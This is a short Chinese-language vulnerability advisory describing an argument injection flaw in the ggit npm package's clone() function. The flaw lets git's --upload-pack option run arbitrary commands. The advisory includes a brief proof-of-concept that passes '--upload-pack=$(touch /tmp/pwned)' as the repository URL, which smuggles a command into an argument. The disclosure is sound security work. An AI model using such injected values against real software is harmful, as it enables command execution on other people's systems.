ggit 这样描述自己:
Local promise-returning git command wrappers
资源:
有关此参数注入漏洞的文章:https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
我在 ggit npm 包中报告了一个参数注入漏洞。
该漏洞体现在库的 clone() API 中,该 API 允许指定要克隆的远程 URL 以及要克隆到的磁盘文件。然而,该库既不清除用户输入,也不验证给定的 URL 方案,更没有使用双破折号 POSIX 字符(--)正确地向 git 二进制传递命令行标志以表示选项的结束。
因此,允许用户利用 Git 中的参数注入漏洞,该漏洞源于 --upload-pack 命令行选项,会导致执行任意命令。(outPath)用作克隆目标时,则该漏洞适用。
[email protected] 或更早版本const clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwned请参阅 CONTRIBUTING 了解为本项目做出贡献的指南。
Liran Tal